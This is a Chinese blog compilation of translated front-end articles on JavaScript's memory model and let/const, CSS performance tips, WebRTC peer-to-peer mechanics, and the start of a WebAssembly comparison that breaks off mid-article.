JavaScript 的内存模型

// 声明一些变量并初始化它们
var a = 5
let b = 'xy'
const c = true

// 分配新值
a = 6
b = b + 'z'
c = false //  类型错误:不可对常量赋值

作为程序员,声明变量、初始化变量(或不初始化变量)以及稍后为它们分配新值是我们每天都要做的事情。

但是当这样做的时候会发生什么呢? JavaScript 如何在内部处理这些基本功能? 更重要的是,作为程序员,理解 JavaScript 的底层细节对我们有什么好处。

下面,我打算介绍以下内容:

  • JS 原始数据类型的变量声明和赋值

  • JavaScript内存模型:调用堆栈和堆

  • JS 引用类型的变量声明和赋值

  • let vs const

JS 原始数据类型的变量声明和赋值

让我们从一个简单的例子开始。下面,我们声明一个名为myNumber的变量,并用值23初始化它。

let myNumber = 23

当执行此代码时,JS将执行:

  1. 为变量(myNumber)创建唯一标识符(identifier)。

  2. 在内存中分配一个地址(在运行时分配)。

  3. 将值 23 存储在分配的地址。

clipboard.png

虽然我们通俗地说,“myNumber 等于 23”,更专业地说,myNumber 等于保存值 23 的内存地址,这是一个值得理解的重要区别。

如果我们要创建一个名为 newVar 的新变量并把 myNumber 赋值给它。

let newVar = myNumber

因为 myNumber 在技术上实际是等于 “0012CCGWH80”,所以 newVar 也等于 “0012CCGWH80”,这是保存值为23的内存地址。通俗地说就是 newVar 现在的值为 23

clipboard.png

因为 myNumber 等于内存地址 0012CCGWH80,所以将它赋值给 newVar 就等于将0012CCGWH80 赋值给 newVar

现在,如果我这样做会发生什么:

myNumber = myNumber + 1

myNumber的值肯定是 24。但是newVar的值是否也为 24 呢?,因为它们指向相同的内存地址?

答案是否定的。由于JS中的原始数据类型是不可变的,当 myNumber + 1 解析为24时,JS 将在内存中分配一个新地址,将24作为其值存储,myNumber将指向新地址。

clipboard.png

这是另一个例子:

let myString = 'abc'
myString = myString + 'd'

虽然一个初级 JS 程序员可能会说,字母d只是简单在原来存放adbc内存地址上的值,从技术上讲,这是错的。当 abcd 拼接时,因为字符串也是JS中的基本数据类型,不可变的,所以需要分配一个新的内存地址,abcd 存储在这个新的内存地址中,myString 指向这个新的内存地址。

clipboard.png

下一步是了解原始数据类型的内存分配位置。

JavaScript 内存模型:调用堆栈和堆

JS 内存模型可以理解为有两个不同的区域:调用堆栈(call stack)和堆(heap)

clipboard.png

调用堆栈是存放原始数据类型的地方(除了函数调用之外)。上一节中声明变量后调用堆栈的粗略表示如下。

clipboard.png

在上图中,我抽象出了内存地址以显示每个变量的值。 但是,不要忘记实际上变量指向内存地址,然后保存一个值。 这将是理解 let vs. const 一节的关键。

是存储引用类型的地方。跟调用堆栈主要的区别在于,堆可以存储无序的数据,这些数据可以动态地增长,非常适合数组和对象。

JS 引用类型的变量声明和赋值

让我们从一个简单的例子开始。下面,我们声明一个名为myArray的变量,并用一个空数组初始化它。

let myArray = []

当你声明变量“myArray”并为其指定非原始数据类型(如“[]”)时,以下是在内存中发生的情况:

  1. 为变量创建唯一标识符(“myArray”)

  2. 在内存中分配一个地址(将在运行时分配)

  3. 存储在堆上分配的内存地址的值(将在运行时分配)

  4. 堆上的内存地址存储分配的值(空数组[])

clipboard.png

clipboard.png

从这里,我们可以 push, pop,或对数组做任何我们想做的。

myArray.push("first")
myArray.push("second")
myArray.push("third")
myArray.push("fourth")
myArray.pop()

clipboard.png

let vs const

一般来说,我们应该尽可能多地使用const,只有当我们知道某个变量将发生改变时才使用let

让我们明确一下我们所说的**“改变”**是什么意思。

let sum = 0
sum = 1 + 2 + 3 + 4 + 5
let numbers = []
numbers.push(1)
numbers.push(2)
numbers.push(3)
numbers.push(4)
numbers.push(5)

这个程序员使用let正确地声明了sum,因为他们知道值会改变。但是,这个程序员使用let错误地声明了数组 numbers ,因为他将把东西推入数组理解为改变数组的值

解释**“改变”**的正确方法是更改内存地址let 允许你更改内存地址。const 不允许你更改内存地址。

const importantID = 489
importantID = 100 // 类型错误:赋值给常量变量

让我们想象一下这里发生了什么。

当声明importantID时,分配了一个内存地址,并存储489的值。记住,将变量importantID看作等于内存地址。

clipboard.png

当将100分配给importantID时,因为100是一个原始数据类型,所以会分配一个新的内存地址,并将100的值存储这里。

然后 JS 尝试将新的内存地址分配给 importantID,这就是抛出错误的地方,这也是我们想要的行为,因为我们不想改变这个 importantID的值。

clipboard.png

当你将100分配给importantID时,实际上是在尝试分配存储100的新内存地址,这是不允许的,因为importantID是用const声明的。

如上所述,假设的初级JS程序员使用let错误地声明了他们的数组。相反,他们应该用const声明它。这在一开始看起来可能令人困惑,我承认这一点也不直观。

初学者会认为数组只有在我们可以改变的情况下才有用,const 使数组不可变,那么为什么要使用它呢? 请记住:“改变”是指改变内存地址。让我们深入探讨一下为什么使用const声明数组是完全可以的。

const myArray = []

在声明 myArray 时,将在调用堆栈上分配内存地址,该值是在堆上分配的内存地址。堆上存储的值是实际的空数组。想象一下,它是这样的:

clipboard.png

clipboard.png

如果我们这么做:

myArray.push(1)
myArray.push(2)
myArray.push(3)
myArray.push(4)
myArray.push(5)

clipboard.png

执行 push 操作实际是将数字放入堆中存在的数组。而 myArray 的内存地址没有改变。这就是为什么虽然使用const声明了myArray,但没有抛出任何错误。

myArray 仍然等于 0458AFCZX91,它的值是另一个内存地址22VVCX011,它在堆上有一个数组的值。

如果我们这样做,就会抛出一个错误:

myArray = 3

由于 3 是一个原始数据类型,因此生成一个新的调用堆栈上的内存地址,其值为 3,然后我们将尝试将新的内存地址分配给 myArray,由于myArray是用const声明的,所以这是不允许的。

clipboard.png

另一个会抛出错误的例子:

myArray = ['a']

由于[a]是一个新的引用类型的数组,因此将分配调用堆栈上的一个新内存地址,并存储上的一个内存地址的值,其它值为 [a]。然后,我们尝试将调用堆栈内存地址分配给 myArray,这会抛出一个错误。

clipboard.png

对于使用const声明的对象(如数组),由于对象是引用类型,因此可以添加键,更新值等等。

const myObj = {}
myObj['newKey'] = 'someValue' // 这不会抛出错误

为什么这些知识对我们有用呢

JavaScript 是世界上排名第一的编程语言(根据GitHub和Stack Overflow的年度开发人员调查)。 掌握并成为“JS忍者”是我们所有人都渴望成为的人。

任何质量好的的 JS 课程或书籍都提倡使用let, const 来代替 var,但他们并不一定说出原因。 对于初学者来说,为什么某些 const 变量在“改变”其值时会抛出错误而其他 const变量却没有。 对我来说这是有道理的,为什么这些程序员默认使用let到处避免麻烦。

但是,不建议这样做。谷歌拥有世界上最好的一些程序员,在他们的JavaScript风格指南中说,使用 constlet 声明所有本地变量。默认情况下使用 const,除非需要重新分配变量,不使用 var 关键字(原文)。

虽然他们没有明确说明原因,但据我所知,有几个原因

  1. 先发制人地限制未来的 bug。
  2. 使用 const 声明的变量必须在声明时初始化,这迫使程序员经常在范围方面更仔细地放置它们。这最终会导致更好的内存管理和性能。
  3. 要通过代码与任何可能遇到它的人交流,哪些变量是不可变的(就JS而言),哪些变量可以重新分配。

希望上面的解释能帮助你开始明白为什么或者什么时候应该在代码中使用 letconst

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

原文:https://medium.com/@ethannam/javascripts-memory-model-7c972cd2c239

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

Web 性能优化:21种优化CSS和加快网站速度的方法

CSS 必须通过一个相对复杂的管道,就像 HTML 和 JavaScript一样,浏览器必须从服务器下载文件,然后进行解析并将其应用于DOM。由于优化程度极高,这个过程通常非常快——对于不基于框架的小型 web 项目,CSS通常只占总资源消耗的一小部分。

框架打破了这种平衡。包括一个 JavaScript GUI 堆栈,如 jQuery UI,可以观察 CSS, JS 和 HTML大小逐渐的变大。通常,开发人员最后才会感到压力,当他们用一个强大的 8 核工作站后面,使用 T3 internet 时,没有人关心速度,这随着延迟或 cpu 受限设备的出现而改变。

优化CSS需要一个多维的方法。虽然手工编写的代码可以使用各种技术进行简化,但是手工检查框架代码是低效的。在这些情况下,使用自动化的简化会产生更好的结果。

下面的步骤将带我们进入 CSS 优化的世界。并不是每一个都可以直接应用到你的项目中,但是一定要记住它们。

01. 使用简写

简写可以使CSS文件更小

使用缩写语句,如下面所示的 margin 声明,可以从根本上减小 CSS 文件的大小。在 google 上搜索 CSS Shorthand 可以找到许多其他的速记形式。

p { margin-top: 1px;
    margin-right: 2px;
    margin-bottom:  3px;
    margin-left: 4px; }

p { margin: 1px 2px 3px 4px; }

02. 查找并删除未使用的 CSS

如果代码没有执行任何操作,那么就删除它

删除不必要的部分 CSS,j显然会加快网页的加载速度。谷歌的Chrome浏览器有这种开箱即用的功能。只需转到查看>开发人员>开发人员工具,并在最近的版本中打开Sources选项卡,然后打开命令菜单。然后,选择Show Coverage,在Coverage analysis窗口中高亮显示当前页面上未使用的代码,让您大开眼界。

打开谷歌浏览器开发都工具,在 Conlse 旁边更多选择 Coverage,就可以看到未使用的 CSS, 点击对应的项,高亮显示当前页面上未使用的代码,让你大开眼界:

clipboard.png

03. 以更便捷的方式做到这一点

clipboard.png

在逐行分析中导航并不一定便捷,使用谷歌浏览器的 Audits 就可以快速帮我们分析,使用方式,打开开发者工具,点击 Audits 栏位,点击 Run audits 后就开始分析结果。

04. 注意这些问题

请记住,对 CSS 的自动分析总是会导致错误。用压缩后的 CSS 文件替换 未压缩CSS文件之后,对整个网站进行彻底的测试——没有人知道优化器会导致什么错误。

05.内联关键 CSS

加载外部样式表需要花费时间,这是由于延迟造成的——因此,可以把最关键的代码位放在 head 中。但是,请确保不要做得过火,记住,执行维护任务的人员也必须读取代码。

<html>
  <head>
    <style>
      .blue{color:blue;}
    </style>
    </head>
  <body>
    <div class="blue">
      Hello, world!
    </div>

06.允许反并行解析

@import 将 CSS 样式方便添加代码中。遗憾的是,这些好处并不是没有代价的:由于 @import 可以嵌套,因此无法并行解析它们。更并行的方法是使用一系列 标记,浏览器可以立即获取这些标记。

@import url("a.css");
@import url("b.css");
@import url("c.css");

<link rel="stylesheet" href="a.css">
<link rel="stylesheet" href="b.css">
<link rel="stylesheet" href="c.css">

07. 用 CSS 替换图片

几年前,一套半透明的 png 在网站上创建半透明效果是司空见惯的。现在,CSS过 滤器提供了一种节省资源的替代方法。例如,以下这个代码片段可以确保所讨论的图片显示为其自身的灰度版本。

img {
    -webkit-filter: grayscale(100%); 
    /* old safari */
    filter: grayscale(100%);
}

08.使用颜色快捷方式

常识告诉我们,六位数的颜色描述符是表达颜色最有效的方式。事实并非如此——在某些情况下,速记描述或颜色名称可以更短。

target { background-color: #ffffff; }
target { background: #fff; }

09. 删除不必要的零和单位

CSS 支持多种单位和数字格式。它们是一个值得感谢的优化目标——可以删除尾随和跟随的零,如下面的代码片段所示。此外,请记住,零始终是零,添加维度不会为包含的信息附带价值。

padding: 0.2em;
margin: 20.0em;
avalue: 0px;
padding: .2em;
margin: 20em;
avalue: 0;

10. 消除过多分号

这种优化需要谨慎,因为它会影响代码的更改。CSS的规范允许省略属性组中的最后一个分号。由于这种优化方法所节省的成本很小,所以我们主要针对那些正在开发自动优化的程序员说明这一点。

p {
. . .
	font-size: 1.33em
}

11.使用纹理图集

由于协议开销的原因,加载多个小图片的效率很低。CSS 精灵将一系列小图片组合成一个大的PNG 文件,然后通过 CSS 规则将其分解。[TexturePacker][7] 等程序大大简化了创建过程。

.download {
  width:80px; 
  height:31px; 
  background-position: -160px -160px
}

.download:hover {
  width:80px; 
  height:32px; 
  background-position: -80px -160px
}

12. 省略 px

提高性能的一个简单方法是使用CSS标准的一个特性。为 0 的数值默认单位是 px—— 删除 px 可以为每个数字节省两个字节。

h2 {padding:0px; margin:0px;}

h2 {padding:0; margin:0}

13. 避免需要性能要求的属性

分析表明,一些标签比其他标签更昂贵。以下这些解析会影响性能—如果在没有必要的情况,尽量不要使用它们。
border-radius
box-shadow
transform
filter
:nth-child
position: fixed;

14. 删除空格

空格——考虑制表符、回车符和空格——使代码更容易阅读,但从解析器的角度看,它没有什么用处。在发布前删除它们,更好的方法是将此任务委托给 shell 脚本或类似的工具。

15. 删除注释

注释对编译器也没有任何作用。创建一个自定义解析器,以便在发布之前删除它们。这不仅节省了带宽,而且还确保攻击者和克隆者更难理解手头代码背后的**。

##16. 使用自动压缩

Yahoo 的用户体验团队创建了一个处理许多压缩任务的应用程序。它以 JAR 文件的形式发布,在这里可用,并且可以使用所选的JVM运行。

java -jar yuicompressor-x.y.z.jar
Usage: java -jar yuicompressor-x.y.z.jar
 [options] [input file]
Global Options
    -h, --help                Displays this
 information
    --type <js|css>           Specifies the
 type of the input file

##17. 在 NPM 运行它

如果你希望将产品集成到 Node.JS 中,请访问 [npmjs.com/package/yuicompressor][8]。维护不良的存储库包含一组包装器文件和JavaScript API。

var compressor = require('yuicompressor');
 compressor.compress('/path/to/
file or String of JS', {
    //Compressor Options:
    charset: 'utf8',
    type: 'js',

18. 保持 Sass 的检查

虽然 CSS 选择器的性能不像几年前那么重要(请参阅参考资料),但是像 Sass 这样的框架有时会产生非常复杂的代,不时查看输出文件,并考虑优化结果的方法。

19. 设置缓存

有句老话说,最快的文件永远不会通过网络发送。让浏览器缓存请求有效地实现这一点。遗憾的是,缓存头的设置必须在服务器上进行。充分上面讲的的两个 Chrome 工具,它们提供了一种快速分析更改结果的方法。

20. 打破缓存

设计人员通常不喜欢缓存,因为他们担心浏览器会缓存上次的样式表。解决这个问题的一个简单方法是包含带有文件名的标记。遗憾的是,由于一些代理拒绝缓存具有“动态”路径的文件,此步骤所附带的代码中概述的方案并不适用于所有地方。

<Link rel="stylesheet" href="style.css?v=1.2.3">

21. 不要忘记基础知识

优化CSS只是游戏的一部分。如果你的服务器不使用 HTTP/2 和 gzip 压缩,那么在数据传输期间会损失很多时间。幸运的是,解决这两个问题通常很简单。我们的示例显示了对常用Apache 服务器的一些调整。如果您发现自己在一个不同的系统上,只需参考服务器文档即可。

pico /etc/httpd/conf/httpd.conf
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE text/css

你的点赞是我持续分享好东西的动力,欢迎点赞!

一个笨笨的码农,我的世界只能终身学习!

更多内容请关注公众号《大迁世界》

18.JavaScript 是如何工作的:WebRTC 和对等网络的机制

image

概述

WebRTC,名称源自网页即时通信(英语:Web Real-Time Communication)的缩写,是一个支持网页浏览器进行实时语音对话或视频对话的API。

在此之前,P2P技术(如桌面聊天应用程序)可以做一些网络做不到的事情,WebRTC 填补了 Web 这一关键空白点。

WebRTC 是一项实时通信技术,它允许浏览器或者 app 之间可以不借助中间媒介的情况下,建立浏览器之间点对点的连接,实现视频流和音频流或者其他任意数据的传输。本文中讨论这一点,还支讨论以下主题,以便让你全面了解 WebRTC 的内部结构:

  • 点对点通信 (Peer-To-Peer communication)

  • 防火墙和NAT穿透 (Firewalls and NAT Traversal)

  • 信令、会话和协议 (Signaling, Sessions, and Protocols)

  • WebRTC APIs

点对点通信

为了通过 Web 浏览器与另一个对等点进行通信,每个 Web 浏览器必须经过以下步骤:

  • 是否同意进行通信

  • 彼此知道对方的地址

  • 绕过安全和防火墙保护

  • 实时传输所有多媒体通信

基于浏览器的点对点通信相关的最大挑战之一是知道如何定位和建立与另一个 Web 浏览器的网络套接字连接,以便双向传输数据。

当 Web 应用程序需要一些数据或资源时,它从某个服务器获取数据或资源,仅此而已。但是,如果想创建点对点视频聊天,通过直接连接到其他人的浏览器——你不知道对方地址,因为另一个浏览器不是已知的 Web服务器。因此,为了建立点对点连接,还需要做更多的工作。

防火墙和 NAT 穿透 (Firewalls and NAT Traversal)

NAT(Network Address Translation,网络地址转换)是1994年提出的。当在专用网内部的一些主机本来已经分配到了本地 IP 地址 (即仅在本专用网内使用的专用地址),但现在又想和因特网上的主机通信(并不需要加密)时,可使用 NAT 方法。

NAT(Network Address Translation,网络地址转换)简单来说就是为了解决 IPV4 下的IP地址匮乏而出现的一种技术。
举例,就是通常我们处在一个路由器之下,而路由器分配给我们的地址通常为191.168.0.21 、191.168.0.22如果有n个设备,可能分配到192.168.0.n,而这个IP地址显然只是一个内网的IP地址,这样一个路由器的公网地址对应了 n 个内网的地址,通过这种使用少量的公有 IP 地址代表较多的私有 IP 地址的方式,将有助于减缓可用的IP地址空间的枯竭。

NAT技术会保护内网地址的安全性,所以这就会引发个问题,就是当我采用P2P之中连接方式的时候,NAT会阻止外网地址的访问,这时我们就得采用 NAT 穿透了。

这就是 NAT (STUN) 的会话遍历实用程序和围绕 NAT (TURN)服务器使用中继进行遍历的原因。为了让WebRTC 技术能够正常工作,首先会向 STUN 服务器请求你的公开IP地址。可以把它想象成你的计算机向远程服务器进行查询,该服务器询问它接收查询的IP地址,然后远程服务器用它看到的 IP 地址进行响应。

假设这个过程有效,并且你接收到你面向公众的 IP 地址和端口,那么你就能够告诉其他对等方如何直接连接到你。这些对等点还可以使用 STUN 或 TURN 服务器做同样的事情,并可以告诉你用什么地址与它们联系。

image

STUN(Simple Traversal of UDP over NATs,NAT 的UDP简单穿越)是一种网络协议,它允许位于NAT(或多重NAT)后的客户端找出自己的公网地址,查出自己位于哪种类型的NAT之后以及NAT为某一个本地端口所绑定的Internet端端口。这些信息被用来在两个同时处于NAT 路由器之后的主机之间建立UDP通信。该协议由RFC 3489定义。目前RFC 3489协议已被RFC 5389协议所取代,新的协议中,将STUN定义为一个协助穿越NAT的工具,并不独立提供穿越的解决方案。它还有升级版本RFC 7350,目前正在完善中。

TURN的全称为Traversal Using Relay NAT,即通过Relay方式穿透 NAT,TURN 应用模型通过分配TURNServer的地址和端口作为客户端对外的接受地址和端口,即私网用户发出的报文都要经过TURNServer进行Relay转发,这种方式应用模型除了具有STUN方式的优点外,还解决了STUN应用无法穿透对称NAT(SymmetricNAT)以及类似的Firewall设备的缺陷

信令、会话和协议

上述网络信息发现过程是较大的信令主题的一部分,其基于 WebRTC 情况下的 JavaScript 会话建立协议(JSEP)标准。 信令涉及网络发现和 NAT 穿透,会话创建和管理,通信安全性,媒体能力元数据和协调以及错误处理。

为了使连接起作用,对等方必须获取元数据的本地媒体条件(例如,分辨率和编解码器功能),并收集应用程序主机的可能网络地址,用于来回传递这些关键信息的信令机制并未内置到 WebRTC API 中。

信令不是由 WebRTC 标准指定的,也不是由其 Api 实现的,这样可以保持技术和协议的灵活性。信令和处理它的服务器由 WebRTC 应用程序开发人员处理。

假设 WebRTC 浏览器的应用程序能够使用 STUN 确定其面向公共的IP地址,下一步是实际地与对等方协商并建立网络会话连接。

初始会话协商和建立使用专门用于多媒体通信的信令/通信协议进行,该协议还负责管理会话的管理和终止规则。

其中一个协议是会话启动协议(称为SIP)。请注意,由于WebRTC信令的灵活性,SIP不是唯一可以使用的信令协议。所选的信令协议还必须与一个称为会话描述协议(SDP)的应用层协议一起工作,该协议在WebRTC的情况下使用。所有特定于多媒体的元数据都使用SDP协议传递。

尝试与另一个对等体通信的任何对等体(即,WebRTC-利用应用程序)生成一组交互式连接建立协议(ICE)候选者。 候选者代表要使用的IP地址,端口和传输协议的给定组合。 请注意,单台计算机可能具有多个网络接口(无线,有线等),因此可以为每个接口分配多个IP地址。

这是一个来自MDN的图表,描述了这种交换。

image

建立连接

每个对等点首先建立它所描述的面向公共的IP地址。然后动态创建信令数据“通道”来检测对等点,并支持对等协商和会话建立。

外部世界不知道或无法访问这些“通道”,因此需要一个惟一的标识符来访问它们。

请注意,由 于WebRTC 的灵活性,以及该标准没有指定信令流程这一事实,考虑到所使用的技术,“通道”的概念和使用可能略有不同,事实上,有些协议不需要“通道”机制进行通信。

这里假设在本文的实现中使用了“通道”。

一旦两个或更多个对等体连接到相同的“信道”,则对等点能够通信并协商会话信息,此过程有点类似于发布/订阅模式。 基本上,发起对等体使用诸如会话发起协议 SIP 和 SDP 之类的信令协议发送“offer(请求)”,发起者等待从连接到给定“信道”的任何接收器接收“answer(应答)”。

一旦收到答复,就会发生以下过程,确定并协商每个对等点收集的最佳交互连接建立协议(ICE)候选者。 一旦选择了最佳 ICE 候选者,基本上所有所需的元数据,网络路由(IP地址和端口)以及用于为每个对等体通信的媒体信息达成一致。 然后,完全建立并激活对等点之间的网络套接字会话。 接下来,由每个对等体创建本地数据流和数据信道端点,并且最终使用所采用的任何双向通信技术以双向方式传输多媒体数据。

如果商定最佳 ICE 候选方案的过程失败(有时确实由于使用了防火墙和 NAT 技术而发生这种情况),那么可以使用 TURN 服务器作为中继。这个过程基本上使用一个充当中介的服务器,它在对等点之间中继任何传输的数据。请注意,这不是真正的对等通信,在这种通信中,对等点直接双向地向彼此传输数据。

当使用 TURN 回退进行通信时,每个对等方不再需要知道如何相互联系和传输数据。 相反,它们需要知道公共 TURN 服务器在通信会话期间发送和接收实时多媒体数据。

重要的是要明白,这绝对是一个失败的安全措施和最后的手段。TURN 服务器需要非常健壮,具有广泛的带宽和处理能力,并处理潜在的大量数据。因此,使用 TURN 服务器显然会带来额外的成本和复杂性。

SIP(Session Initiation Protocol,会话初始协议)是由IETF(Internet Engineering Task
Force,因特网工程任务组)制定的多媒体通信协议。它是一个基于文本的应用层控制协议,用于创建、修改和释放一个或多个参与者的会话。广泛应用于CS(Circuit
Switched,电路交换)、NGN(Next Generation Network,下一代网络)以及IMS(IP Multimedia Subsystem,IP多媒体子系统)的网络中,可以支持并应用于语音、视频、数据等多媒体业务,同时也可以应用于Presence(呈现)、Instant Message(即时消息)等特色业务。可以说,有IP网络的地方就有SIP协议的存在。


SDP 完全是一种会话描述格式(对应的RFC2327) ― 它不属于传输协议 ― 它只使用不同的适当的传输协议,包括会话通知协议(SAP)、会话初始协议(SIP)、实时流协议(RTSP)、MIME 扩展协议的电子邮件以及超文本传输协议(HTTP)。SDP协议是也是基于文本的协议,这样就能保证协议的可扩展性比较强,这样就使其具有广泛的应用范围。SDP 不支持会话内容或媒体编码的协商,所以在流媒体中只用来描述媒体信息。媒体协商这一块要用RTSP来实现.

WebRTC APIs

  • MediaStream —  MediaStream用来表示一个媒体数据流,允许你访问输入设备,如麦克风和 Web摄像机,该 API 允许从其中任意一个获取媒体流。

  • RTCPeerConnection — RTCPeerConnection 对象允许用户在两个浏览器之间直接通讯 ,你可以通过网络将捕获的音频和视频流实时发送到另一个 WebRTC 端点。使用这些 Api,你可以在本地机器和远程对等点之间创建连接。它提供了连接到远程对等点、维护和监视连接以及在不再需要连接时关闭连接的方法。

  • RTCDataChannel — 表示一个在两个节点之间的双向的数据通道,每个数据通道都与RTCPeerConnection 相关联。

MediaStream (别名getUserMedia)

MediaStream API 代表媒体流的同步。比如,从摄像头和麦克风获取的媒体流具有同步视频和音频轨道。

MediaDevices.getUserMedia() 会提示用户给予使用媒体输入的许可,媒体输入会产生一个MediaStream,里面包含了请求的媒体类型的轨道。此流可以包含一个视频轨道(来自硬件或者虚拟视频源,比如相机、视频采集设备和屏幕共享服务等等)、一个音频轨道(同样来自硬件或虚拟音频源,比如麦克风、A/D转换器等等),也可能是其它轨道类型。

它返回一个 Promise 对象,成功后会 resolve 回调一个 MediaStream 对象。若用户拒绝了使用权限,或者需要的媒体源不可用,promise 会 reject 回调一个 PermissionDeniedError 或者 NotFoundError 。

可以通过 navigator 对象访问 MediaDevice 单例,如下所示:

通常你可以使用 navigator.mediaDevices 来获取 MediaDevices ,例如:

 navigator.mediaDevices.getUserMedia(constraints)
.then(function(stream) {
  /* 使用这个stream stream */
})
.catch(function(err) {
  /* 处理error */
});

请注意,constraints 参数是一个包含了video 和 audio两个成员的MediaStreamConstraints 对象,用于说明请求的媒体类型。必须至少一个类型或者两个同时可以被指定。如果浏览器无法找到指定的媒体类型或者无法满足相对应的参数要求,那么返回的Promise对象就会处于rejected[失败]状态,NotFoundError作为rejected[失败]回调的参数。

从版本25开始,基于 Chromium 的浏览器允许将来自 getUserMedia() 的音频数据传递给音频或视频元素(但请注意,默认情况下,媒体元素将被静音)。

getUserMedia 还可以用作 Web 音频 API 的输入节点:

function gotStream(stream) {
    window.AudioContext = window.AudioContext || window.webkitAudioContext;
    var audioContext = new AudioContext();
    // Create an AudioNode from the stream
    var mediaStreamSource = audioContext.createMediaStreamSource(stream);
    // Connect it to destination to hear yourself
    // or any other node for processing!
    mediaStreamSource.connect(audioContext.destination);
}

navigator.getUserMedia({audio:true}, gotStream);

约束

getUserMedia() 是一个可能涉及重大隐私问题的 API,规范将其用于用户通知和权限管理的非常特定的需求。getUserMedia() 在打开任何媒体收集输入(如网络摄像头或麦克风)之前,必须始终获得用户许可。浏览器可能提供每个域一次的权限特性,但它们必须至少在第一次请求,如果用户选择这样做,则必须特别授予正在进行的权限。

同样重要的是关于通知的规则。浏览器需要显示一个指示器,该指示器显示正在使用的摄像机或麦克风,超出可能存在的任何硬件指示器。它们还必须显示一个指示符,表明已授予使用设备进行输入的权限,即使该设备目前没有进行主动记录

RTCPeerConnection

RTCPeerConnection 它代表了本地端机器与远端机器的一条连接。该接口提供了创建,保持,监控,关闭连接的方法的实现。的作用是在浏览器之间建立数据的“点对点”(peer to peer)通信.

下面是 WebRTC 架构图,展示了 RTCPeerConnection 的作用:

image

从 JavaScript 的角度来看,从这个图中要理解的主要事情是 RTCPeerConnection 为 Web 开发人员提供了一个抽象,从复杂的内部结构中抽象出来。使用WebRTC的编解码器和协议做了大量的工作,方便了开发者,使实时通信成为可能,甚至在不可靠的网络:

  • 丢包隐藏
  • 回声抵消
  • 带宽自适应
  • 动态抖动缓冲
  • 自动增益控制
  • 噪声抑制与抑制
  • 图像清洗

RTCDataChannel

除了视频和音频,webRTC 还可以传输其他数据,RTCDataChannel API支持对等交换任意数据。

应用场景:

  • 游戏
  • 远程桌面应用程序
  • 实时文本聊天
  • Web文件传输

API充分利用了 RTCPeerConnection 强大和灵活的点对点通信

  • 利用 RTCPeerConnection 会话。
    * 多通道同步通道。
  • 可靠和不可靠的传递语义(delivery semantics)。
  • 内置安全(DTLS)和阻塞控制。
    * 能够使用或不使用音频或视频。

语法类似于已知的 WebSocket,使用 send() 方法和 message 事件:

var peerConnection = new webkitRTCPeerConnection(servers,
    {optional: [{RtpDataChannels: true}]}
);

peerConnection.ondatachannel = function(event) {
    receiveChannel = event.channel;
    receiveChannel.onmessage = function(event){
        document.querySelector("#receiver").innerHTML = event.data;
    };
};

sendChannel = peerConnection.createDataChannel("sendDataChannel", {reliable: false});

document.querySelector("button#send").onclick = function (){
    var data = document.querySelector("textarea#send").value;
    sendChannel.send(data);
};

通信直接在浏览器之间进行,因此即使需要中继(TURN)服务器,RTCDataChannel 也可以比 WebSocket快得多。

现实世界中的WebRTC

实际应用中,WebRTC 需要服务器,无论多简单,下面四步是必须的:

  • 用户通过交换名字之类的信息发现对方。
  • WebRTC 客户端应用交换网络信息。
  • 客户端交换媒体信息包括视频格式和分辨率。
  • WebRTC 客户端穿透 NAT 网关和服务器。

换句话说,WebRTC 需要四种类型的服务器端功能:

  • 用户发现和通信
  • 信令
  • NAT/防火墙穿透
  • 中继服务器,防止端到端的通信失败

可以说基于 STUN 和TURN协议的 ICE 框架,使得 RTCPeerConnection 处理 NAT 穿透和其他网络难题成为可能。

 ICE 框架用于端到端的连接,比如说两个视频聊天客户端。起初,ICE 尝试通过 UDP 直接连接两端,这样可以保证低延迟。在这个过程中,STUN 服务器有一个简单的任务:使 NAT 后边的端能找到它的公网地址和端口(谷歌有多个STUN服务器,其中一个用在了apprtc.appspot.com例子)。

image

 如果 UDP 传输失败,ICE 会尝试 TCP:首先是 HTTP,然后才会选择 HTTPS。如果直接连接失败,通常因为企业的 NAT 穿透和防火墙,此时 ICE 使用中继(Relay)服务器。换句话说,ICE 首先使用STUN 和 UDP 直接连接两端,失败之后返回中继服务器。‘finding cadidates’ 就是寻找网络接口和端口的过程。

image

## 安全

实时通信应用或插件会在许多方面忽视了安全性:

  • 浏览器之间、浏览器与服务器之间的音视频或其他数据没有加密。
  • 应用在用户没有察觉的情况下录制和分发音视频。
  • 恶意软件或病毒可能入侵了正常的插件或应用。

WebRTC 的许多特性可以避免这些问题:

  • WebRTC 采用类似 DTLSSRTP 的安全协议。

* 所有WebRTC组件都必须进行加密,包括信令机制。

* WebRTC 不是一个插件:它的组件运行在浏览器沙盒中,而不是在一个单独的进程中,组件不需要单独安装,并且在浏览器更新时都会更新。

  • 摄像头和麦克风的访问必须经过明确准许,当摄像头和麦克风运行时,界面上会清楚的显示出来。

WebRTC是一种非常有趣和强大的技术,用于在浏览器之间进行某种形式的实时流。

原文:

https://blog.sessionstack.com/how-javascript-works-webrtc-and-the-mechanics-of-peer-to-peer-connectivity-87cc56c1d0ab

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

你的点赞是我持续分享好东西的动力,欢迎点赞!

####欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

6.JavaScript是如何工作的:与 WebAssembly比较 及其使用场景

这次将讲解 WebAssembly 是如何工作的,更重要的是,它是如何在性能方面与JavaScript进行比较的:加载时间、执行速度、垃圾收集、内存使用、API开放平台、调试、多线程和可移植性。

首先,让我们看看WebAssembly做什么

首先,我们有必要了解一下asm.js。2012年,Mozilla 的工程师 Alon Zakai 在研究 LLVM 编译器时突发奇想:许多 3D 游戏都是用 C / C++ 语言写的,如果能将 C / C++ 语言编译成 JavaScript 代码,它们不就能在浏览器里运行了吗?众所周知,JavaScript 的基本语法与 C 语言高度相似。于是,他开始研究怎么才能实现这个目标,为此专门做了一个编译器项目 Emscripten。这个编译器可以将 C / C++ 代码编译成 JS 代码,但不是普通的 JS,而是一种叫做 asm.js 的 JavaScript 变体,性能差不多是原生代码的50%。

